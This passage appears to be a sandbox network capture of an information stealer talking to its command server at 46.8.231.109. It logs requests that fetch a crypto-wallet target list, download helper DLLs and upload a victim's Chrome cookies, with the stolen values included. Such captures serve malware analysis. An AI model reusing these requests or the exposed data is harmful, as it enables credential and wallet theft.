20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="message"plugins------IIIEBGCBGIDHDGCAKJEB--
Oct 7, 2024 18:00:21.429562092 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 7, 2024 18:00:21.429641962 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 7, 2024 18:00:21.429652929 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 7, 2024 18:00:21.429761887 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 7, 2024 18:00:21.429773092 CEST	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 7, 2024 18:00:21.429783106 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Oct 7, 2024 18:00:21.431706905 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAK Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="message"fplugins------HCFIIIJJKJKFHIDGDBAK--
Oct 7, 2024 18:00:21.701387882 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:21 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 7, 2024 18:00:21.716806889 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFHDBKJEGHJJJKFIIJE Host: 46.8.231.109 Content-Length: 5659 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:21.716862917 CEST	5659	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 Data Ascii: ------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------FBFHDBKJEGHJJJKFIIJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 7, 2024 18:00:22.010288000 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:00:22.010967970 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:00:22.181516886 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 7, 2024 18:00:22.181550026 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 7, 2024 18:00:22.181560993 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 7, 2024 18:00:22.181597948 CEST	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?
Oct 7, 2024 18:00:23.310525894 CEST	950	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBG Host: 46.8.231.109 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------CBKFIECBGDHJKECAKFBG--
Oct 7, 2024 18:00:23.610663891 CEST	950	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBG Host: 46.8.231.109 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------CBKFIECBGDHJKECAKFBG--
Oct 7, 2024 18:00:24.052711010 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:00:24.216877937 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBAEBAEBFHCAKFCAKE Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 41 45 42 41 45 42 46 48 43 41 4b 46 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFCBAEBAEBFHCAKFCAKEContent-Disposition: form-data; name="file"------AFCBAEBAEBFHCAKFCAKE--
Oct 7, 2024 18:00:24.427468061 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:00:24.784128904 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDG Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 65 33 34 39 61 66 37 37 65 38 65 34 35 65 39 38 34 36 39 63 36 30 35 35 39 61 37 62 32 33 63 31 62 34 65 39 66 36 64 65 33 38 63 61 65 32 33 39 30 62 34 39 31 30 66 62 38 33 65 62 36 64 35 65 33 32 63 34 66 64 39 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 4a 45 48 43 42 41 4b 46 43 41 4b 46 48 43 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="token"9e349af77e8e45e98469c60559a7b23c1b4e9f6de38cae2390b4910fb83eb6d5e32c4fd9------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFIJEHCBAKFCAKFHCGDGContent-Disposition: form-data; name="file"------BFIJEHCBAKFCAKFHCGDG--
Oct 7, 2024 18:00:24.995467901 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 7, 2024 18:00:25.338251114 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Oct 7, 2024 18:00:25.507194042 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:00:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 